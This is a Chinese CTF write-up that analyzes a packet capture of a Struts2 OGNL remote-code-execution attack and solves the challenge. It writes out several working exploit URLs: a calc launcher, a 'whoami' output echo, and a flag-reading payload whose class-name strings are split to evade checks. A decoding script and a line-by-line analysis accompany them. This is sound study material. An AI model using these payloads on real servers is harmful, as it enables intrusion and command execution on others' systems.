[misc]Struts2漏洞 500

2017-08-23  本文已影响0人  BlinKer

0x00 已知条件及分析

题目给出了一个压缩包(同样需要去掉冗余后缀),里面是一个winpcapng格式的流量包,用Wireshark查看。
发现大部分是混乱的数据。
根据题目名称“Struts 2漏洞”,查找相关资料了解到它的漏洞主要通过向服务器发送构造的数据作为OGNL表达式,绕过MVC框架的保护机制,达到远程代码执行开放重定向的目的。

  1. 通过导航前缀及重定向前缀的构造,可以将构造的数据作为OGNL表达式执行,而这种问题其实和以前公布的Struts远程代码执行漏洞的性质是一样的。结合以往的漏洞利用方式,我们的目的也就比较明确,就是可以在目标服务器环境中执行命令并将命令执行的结果反馈给我们。
    根据提供的PoC代码构造一个简单的命令执行的URL,具体内容为:
http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?> action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'calc'})).start()}

这个URL的作用是在服务端执行命令calc,也就是执行一个计算器。从服务端的任务管理器中我们可以看到执行的结果,并且执行的用户名是SYSTEM。

  1. 但是这种简单的命令执行方式从客户端的浏览器环境中是看不到的,所以结合以往漏洞利用方式,我们通过构造URL将命令执行结果读入数据流中,然后再通过输出的方式在客户端进行展示,就实现了执行命令回显功能。我们再次构造提交的URL地址如下:
http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

其中whoami是我们想要执行的命令,如果执行命令的字符串中包含有空格,则需要将字符串按照空格分为多个字符串,并用逗号隔开即可。然后我们再次提交这个URL地址,就可以看到远程命令执行时返回的命令执行结果信息

0x01 题目探究

单单就解题而言甚至跟漏洞没有太大的关系,在数据包中寻找FLAG使用追踪流或strings等方法即可。这里使用notepad搜索字符串(不匹配大小写),结果如下图。

image.png

这样显然索然无味,完全不知道漏洞是怎样利用的,进行了什么样的操作得到flag。所以这里进行进一步的探究。

关键数据帧

为了方便查看,在Wireshark中找到包含这个FLAG的数据帧,如下图。

image.png image.png

可以看到红色部分是POST(猜测是向目标服务器)请求,其数据部分从'redirect:'开始,具体为:

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27cmd%20%2Fc%20type%20c%3Aflag.txt%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

是不是感觉在上面见过?把它和该帧头部的url拼在一起看看:

http://192.168.0.5:8080/struts2-blank/example/HelloWorld.action?redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27cmd%20%2Fc%20type%20c%3Aflag.txt%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

形式与上文 摘要2 中的测试代码极为相似,基本可以确定是向目标服务器发送的url编码请求。
下面的代码是 摘要2 的,这里便于对比:

[摘要2 代码]
http://192.168.100.138:8080/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

为了确定该请求具体进行了什么操作,对'redirect'及其后部分的构造代码进行url解码。

[Python]
import urllib

print urllib.unquote('redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27cmd%20%2Fc%20type%20c%3Aflag.txt%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}')

结果如下:

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('cmd /c type c:flag.txt'.toString().split('\s'))).start().getInputStream()).useDelimiter('\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}

可以看到的确使用了url编码的'#'(%23)绕过xork2保护机制的检查。

构造的代码分析

观察解码后的代码,不难发现形式与 摘要2 中“为了能从浏览器中直接查看到命令执行结果”而构造的代码类似。下面逐行进行分析:(原执行环境未知,只能加以推测)

#s=new java.util.Scanner((new java.lang.ProcessBuilder('cmd /c type c:flag.txt'.toString().split('\s'))).start().getInputStream()).useDelimiter('\AAAA')

然后将 #s 中的内容赋予 #str:

#str=#s.hasNext()?#s.next():''
#resp.setCharacterEncoding('UTF-8')
#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()

0x02 仍存疑的方面

#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest')
上一篇 下一篇

猜你喜欢

热点阅读